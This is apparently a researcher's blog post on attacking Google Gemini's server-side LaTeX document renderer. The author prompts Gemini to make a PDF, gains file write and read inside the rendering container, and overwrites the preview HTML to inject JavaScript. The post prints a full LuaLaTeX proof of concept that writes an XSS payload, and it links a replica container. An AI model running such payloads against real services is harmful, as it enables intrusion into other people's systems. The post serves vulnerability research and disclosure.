I’ve been using Google’s Gemini service for a few months. I use it for coding tasks and solving problems I typically can’t solve on my own. I have a hate-hate-love relationship with LLMs, but I’ll skip that for now.

I was investigating how the web version of Gemini renders documents; I had on occasion seen Gemini running Python tasks server-side, somewhere, but I wasn’t sure what the triggers were. Similarly at some point they implemented server-side document rendering but I found myself in a session where the trigger was simple: ask Gemini to generate a PDF with some random specifications.

A few hours later I had an arbitrary file write/read on the gVisor/LuaHBTeX container used by the service to render documents. The containers are locked right down, zero-trust in full effect, max frustration but good work from the infrastructure team. Google folks are very good at containment, so much so that their bug bounties won’t consider vulnerability submissions where the security context hasn’t been impacted, i.e. self XSS or pwning a box provisioned for a single user.

My avenue of attack was to try and stomp on the entrypoint.sh script in /app/, which is the CWD for the rendering process. The window of opportunity exists between the render happening (where our LaTeX payload is running) and the subsequent handle_success or handle_failure handlers. Alas it was not to be, I could not stomp on the script in a way that gave me code execution. Still, I could overwrite the document preview HTML to inject arbitrary JavaScript (sweet sweet XSS), if you can’t RCE then XSS I guess. However, to further hobble my joy alert/confirm/prompt calls to alert-like functions are explicitly blocked, still I managed to leverage this into a CORS sandboxed XSS.

XSS POC

\documentclass{article}
\usepackage{luacode}
\usepackage[margin=0.5in]{geometry}
\usepackage{xcolor}
\begin{document}
% Escaping the & character in the title to avoid alignment errors
\title{System Exploration: Read/Write \& Scan}
\author{System}
\maketitle
\section{File Write \& Read Test}
\begin{luacode*}
local test_filename = "preview-pdf.min.html"
local content_to_write = "<html><img src=x onerror='var a=\"XSS\";console.error(a)'></img>;Write Test Successful. Timestamp: " .. os.date("%c")
-- We use \detokenize to safely print filenames containing underscores or other special chars
tex.print("\\noindent\\textbf{Attempting to write to:} \\texttt{\\detokenize{" .. test_filename .. "}}\\par")
-- Attempt Write
local f, err = io.open(test_filename, "w")
if f then
    f:write(content_to_write)
    f:close()
    tex.print("\\noindent\\textcolor{green!60!black}{\\textbf{SUCCESS:}} File written.\\par")
    
    -- Attempt Read Back
    tex.print("\\vspace{0.5em}\\noindent\\textbf{Reading content back:}\\par")
    local f_read, err_read = io.open(test_filename, "r")
    if f_read then
        local content = f_read:read("*a")
        f_read:close()
        tex.print("\\begin{verbatim}")
        tex.print(content)
        tex.print("\\end{verbatim}")
    else
        tex.print("\\noindent\\textcolor{red}{\\textbf{FAILURE:}} Could not read back. " .. tostring(err_read))
    end
else
    tex.print("\\noindent\\textcolor{red}{\\textbf{FAILURE:}} Could not write file. " .. tostring(err))
end
\end{luacode*}
\end{document}

I think I have more RCE vulnerabilities than exploitable XSS this year, and that’s progress I suppose.

Recreate the Environment

If you want to recreate the document rendering container I’ve built an approximation here: https://github.com/monsieurmook/bits/tree/main/GeminiLaTeXContainer. To get even closer to the Google spec you’ll need to run the container with the gVisor runtime (https://gvisor.dev/docs/tutorials/docker-in-gvisor/). An example of the XSS payload is included in the folder.

If you manage to get code execution do let me know, it’s a challenge I’d love to see solved.